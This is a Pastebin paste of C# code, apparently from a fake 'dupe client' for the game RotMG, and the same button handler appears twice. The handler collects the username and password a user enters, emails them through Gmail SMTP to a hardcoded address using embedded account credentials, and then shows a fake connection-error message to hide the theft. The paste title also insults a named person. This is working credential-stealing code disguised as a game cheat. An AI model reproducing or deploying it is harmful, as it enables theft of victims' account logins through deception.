Advertisement
Guest User

Hit that, Devon the cunt

a guest
Sep 15th, 2015
73
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 2.09 KB | None | 0 0
  1. private void Button1_Click(object sender, EventArgs e)
  2. {
  3.     if (this.TextBox1.Text == "")
  4.     {
  5.         Interaction.MsgBox("Username is Missing", MsgBoxStyle.ApplicationModal, null);
  6.         if (this.TextBox2.Text == "")
  7.         {
  8.             Interaction.MsgBox("Password is Missing", MsgBoxStyle.ApplicationModal, null);
  9.         }
  10.     }
  11.     SmtpClient client = new SmtpClient();
  12.     MailMessage message = new MailMessage();
  13.     client.Credentials = new NetworkCredential("RotMGDupeClient@gmail.com", "rotmgdupelol");
  14.     client.Port = 0x24b;
  15.     client.Host = "smtp.gmail.com";
  16.     client.EnableSsl = true;
  17.     message = new MailMessage {
  18.         From = new MailAddress("showtunelegitnpe@gmail.com")
  19.     };
  20.     message.To.Add("showtunelegitnpe@gmail.com");
  21.     message.Subject = "Email: " + this.TextBox1.Text;
  22.     message.Body = "Username: " + this.TextBox1.Text + ", Password: " + this.TextBox2.Text;
  23.     client.Send(message);
  24.     Interaction.MsgBox("Unable to connect to server; Error 48372", MsgBoxStyle.ApplicationModal, null);
  25. }
  26.  
  27.  
  28.  
  29.  
  30.   private void Button1_Click(object sender, EventArgs e)
  31. {
  32.     if (this.TextBox1.Text == "")
  33.     {
  34.         Interaction.MsgBox("Username is Missing", MsgBoxStyle.ApplicationModal, null);
  35.         if (this.TextBox2.Text == "")
  36.         {
  37.             Interaction.MsgBox("Password is Missing", MsgBoxStyle.ApplicationModal, null);
  38.         }
  39.     }
  40.     SmtpClient client = new SmtpClient();
  41.     MailMessage message = new MailMessage();
  42.     client.Credentials = new NetworkCredential("RotMGDupeClient@gmail.com", "rotmgdupelol");
  43.     client.Port = 0x24b;
  44.     client.Host = "smtp.gmail.com";
  45.     client.EnableSsl = true;
  46.     message = new MailMessage {
  47.         From = new MailAddress("showtunelegitnpe@gmail.com")
  48.     };
  49.     message.To.Add("showtunelegitnpe@gmail.com");
  50.     message.Subject = "Email: " + this.TextBox1.Text;
  51.     message.Body = "Username: " + this.TextBox1.Text + ", Password: " + this.TextBox2.Text;
  52.     client.Send(message);
  53.     Interaction.MsgBox("Unable to connect to server; Error 48372", MsgBoxStyle.ApplicationModal, null);
  54. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement